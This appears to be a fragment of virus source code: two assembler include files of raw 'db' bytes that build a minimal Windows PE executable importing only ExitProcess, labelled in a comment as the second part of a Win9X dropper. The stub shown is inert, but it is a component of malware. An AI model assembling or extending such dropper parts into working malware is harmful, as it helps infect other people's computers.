db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 50h ; P
db 45h ; E
db 0 ;
db 0 ;
db 4Ch ; L
db 1 ;
db 4 ;
db 0 ;
db 0C6h ; Æ
db 24h ; $
db 7Ch ; |
db 5Fh ; _
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0E0h ; à
db 0 ;
db 8Eh ; Ž
db 81h ; <20>
db 0Bh ;
db 1 ;
db 2 ;
db 19h ;
db 0 ;
db 22h ; "
db 0 ;
db 0 ;
db 0 ;
db 4 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 2 ;
db 0 ;
db 0 ;
db 1 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 3 ;
db 0 ;
db 0Ah ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 70h ; p
db 0 ;
db 0 ;
db 0 ;
db 4 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 2 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 20h ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 50h ; P
db 0 ;
db 0 ;
db 54h ; T
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 60h ; `
db 0 ;
db 0 ;
db 0Ch ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 43h ; C
db 4Fh ; O
db 44h ; D
db 45h ; E
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 30h ; 0
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 22h ; "
db 0 ;
db 0 ;
db 0 ;
db 6 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 20h ;
db 0 ;
db 0 ;
db 0E0h ; à
db 44h ; D
db 41h ; A
db 54h ; T
db 41h ; A
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 28h ; (
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 0 ;
db 0C0h ; À
db 2Eh ; .
db 69h ; i
db 64h ; d
db 61h ; a
db 74h ; t
db 61h ; a
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 50h ; P
db 0 ;
db 0 ;
db 0 ;
db 2 ;
db 0 ;
db 0 ;
db 0 ;
db 28h ; (
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 0 ;
db 0C0h ; À
db 2Eh ; .
db 72h ; r
db 65h ; e
db 6Ch ; l
db 6Fh ; o
db 63h ; c
db 0 ;
db 0 ;
db 0 ;
db 10h ;
db 0 ;
db 0 ;
db 0 ;
db 60h ; `
db 0 ;
db 0 ;
db 0 ;
db 2 ;
db 0 ;
db 0 ;
db 0 ;
db 2Ah ; *
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 0 ;
db 50h ; P
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[drop1.inc]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[drop2.inc]ÄÄÄ
;second part of Win9X dropper
db 0FFh ;
db 25h ; %
db 30h ; 0
db 50h ; P
db 40h ; @
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 28h ; (
db 50h ; P
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 38h ; 8
db 50h ; P
db 0 ;
db 0 ;
db 30h ; 0
db 50h ; P
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 46h ; F
db 50h ; P
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 46h ; F
db 50h ; P
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 4Bh ; K
db 45h ; E
db 52h ; R
db 4Eh ; N
db 45h ; E
db 4Ch ; L
db 33h ; 3
db 32h ; 2
db 2Eh ; .
db 64h ; d
db 6Ch ; l
db 6Ch ; l
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 45h ; E
db 78h ; x
db 69h ; i
db 74h ; t
db 50h ; P
db 72h ; r
db 6Fh ; o
db 63h ; c
db 65h ; e
db 73h ; s
db 73h ; s
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
